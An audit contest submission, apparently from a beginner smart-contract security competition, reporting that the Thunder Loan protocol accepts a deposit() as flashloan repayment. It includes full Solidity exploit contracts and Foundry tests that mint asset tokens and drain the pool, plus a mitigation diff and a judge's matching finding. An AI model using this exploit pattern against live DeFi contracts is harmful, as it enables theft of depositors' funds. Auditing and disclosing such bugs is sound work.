Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Improper flashloan repayment validation allows deposit() to satisfy repayment, enabling asset token minting and pool drain

Root + Impact

Description

  • The protocol allows users to take flashloans and requires that the borrowed amount plus fee be returned within the same transaction.

  • However, the repayment check can be bypassed by depositing the borrowed funds back into the protocol instead of directly repaying, causing incorrect accounting and allowing an attacker to retain control over the funds.

// Root cause in the codebase with @> marks to highlight the relevant section
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata
) external returns (bool) {
require(msg.sender == address(thunderLoan));
IERC20(token).approve(msg.sender, type(uint256).max);
// @> attacker mints tokens to cover fee artificially
MockERC20(token).mint(address(this), fee);
// @> instead of repaying, attacker deposits into protocol
thunderLoan.deposit(IERC20(token), (INITIAL_FUNDING + fee));
}

Risk

Likelihood:

  • Flashloan callbacks are externally controlled and executed every time a flashloan is issued

  • The protocol does not enforce strict repayment validation independent of internal accounting

Impact:

  • Attacker can drain all liquidity from the pool

  • Protocol insolvency and total loss of user funds


Proof of Concept

  • Attacker takes a flashloan

  • Instead of repaying, they deposit the borrowed funds back

  • Protocol counts deposit as repayment

  • Attacker receives asset tokens representing deposited funds

  • Funds can later be withdrawn → full drain

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.20;
import "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {MockERC20} from "./mocks/MockERC20.sol";
import {MockTSwapPool} from "./mocks/MockTSwapPool.sol";
import {MockPoolFactory} from "./mocks/MockPoolFactory.sol";
import {MockFlashLoanReceiver} from "./mocks/MockFlashLoanReceiver.sol";
import {ThunderLoanUpgraded} from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import {AssetToken} from "../src/protocol/AssetToken.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Exploiter {
uint256 public constant INITIAL_FUNDING = 1_000_000 ether;
ThunderLoanUpgraded thunderLoan;
MockPoolFactory public mockpoolfactory;
// Stores the token used in the flashloan.
// Needed later to redeem the maliciously minted AssetToken.
IERC20 public to_ken;
constructor(address _thunderloan, MockPoolFactory _mockpoolfactory) {
thunderLoan = ThunderLoanUpgraded(_thunderloan);
mockpoolfactory = _mockpoolfactory;
}
function exploit(IERC20 _token) external {
// Request a flashloan from ThunderLoan.
// The protocol transfers INITIAL_FUNDING tokens to this contract
// and expects repayment + fee inside executeOperation().
thunderLoan.flashloan(address(this), _token, INITIAL_FUNDING, "");
}
function redeemcorruptedasset() external {
// Redeem the AssetToken received from the fake deposit.
// Because ThunderLoan incorrectly counted the deposit as repayment,
// the attacker owns AssetTokens backed by protocol funds.
thunderLoan.redeem(to_ken, INITIAL_FUNDING);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
) external returns (bool) {
// Only ThunderLoan should be able to call the flashloan callback.
require(msg.sender == address(thunderLoan));
// Approve ThunderLoan to spend tokens if repayment was required.
// This approval exists, but the exploit avoids normal repayment.
IERC20(token).approve(msg.sender, type(uint256).max);
// Save token address for later redemption.
to_ken = IERC20(token);
// Mint the required fee so the attacker has enough balance
// to satisfy the deposit amount.
// The vulnerable logic allows the attacker to deposit the flashloan
// amount + fee instead of directly repaying the flashloan.
MockERC20(token).mint(address(this), fee);
console.logUint(IERC20(token).balanceOf(address(this)));
// Vulnerability:
// ThunderLoan treats this deposit as if the flashloan was repaid.
//
// The attacker receives AssetTokens representing this deposit,
// even though the original flashloan was never returned.
//
// These AssetTokens can later be redeemed for the underlying tokens,
// draining the pool.
thunderLoan.deposit(IERC20(token), (INITIAL_FUNDING + fee));
}
}
contract ExploitTest is Test {
ThunderLoanUpgraded public thunderLoan;
MockPoolFactory public mockFactory;
MockERC20 public token;
address public deployer = address(1);
address public user = address(2);
uint256 public constant INITIAL_FUNDING = 1_000_000 ether;
function setUp() public {
vm.startPrank(deployer);
// Deploy malicious test token with 18 decimals.
token = new MockERC20("Test Token", "TST", 18);
// Deploy mock factory required by ThunderLoan.
mockFactory = new MockPoolFactory();
// Deploy ThunderLoan implementation.
ThunderLoanUpgraded impl = new ThunderLoanUpgraded();
// Create upgradeable proxy pointing to ThunderLoan implementation.
bytes memory data = abi.encodeCall(
ThunderLoanUpgraded.initialize,
(address(mockFactory))
);
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), data);
thunderLoan = ThunderLoanUpgraded(address(proxy));
// Create liquidity pool and whitelist token.
mockFactory.createPool(address(token));
thunderLoan.setAllowedToken(token, true);
// Fund ThunderLoan with initial liquidity.
// This represents innocent user funds that the attacker will drain.
token.mint(deployer, INITIAL_FUNDING);
token.approve(address(thunderLoan), INITIAL_FUNDING);
thunderLoan.deposit(token, INITIAL_FUNDING);
vm.stopPrank();
}
function test_stealalltokens() external {
// Get the AssetToken contract representing deposits for this token.
// ThunderLoan mints AssetTokens when users deposit liquidity.
AssetToken assetToken = thunderLoan.s_tokenToAssetToken(token);
console.log("Balance before");
// Show initial pool liquidity before the attack.
console.logUint(token.balanceOf(address(assetToken)));
// Deploy attacker contract.
Exploiter instance = new Exploiter(address(thunderLoan), mockFactory);
vm.startPrank(user);
// Start exploit:
// 1. Take flashloan.
// 2. Deposit borrowed amount instead of repaying.
// 3. Receive fraudulent AssetTokens.
instance.exploit(IERC20(token));
// Redeem fraudulent AssetTokens and withdraw protocol funds.
instance.redeemcorruptedasset();
console.log("Balance After");
// Pool balance should be drained after redemption.
console.logUint(token.balanceOf(address(assetToken)));
vm.stopPrank();
}
}

Recommended Mitigation

The protocol should prevent deposit() from being used to satisfy an active flashloan repayment. During an ongoing flashloan, any token transfer into the AssetToken contract should not result in AssetToken minting, as this allows attackers to convert borrowed funds into redeemable shares before the repayment check.

Restrict deposits while a flashloan is active:

function deposit(
IERC20 token,
uint256 amount
)
external
revertIfZero(amount)
revertIfNotAllowedToken(token)
{
+ require(
+ !s_currentlyFlashLoaning[token],
+ "Cannot deposit during active flashloan"
+ );
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 13 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!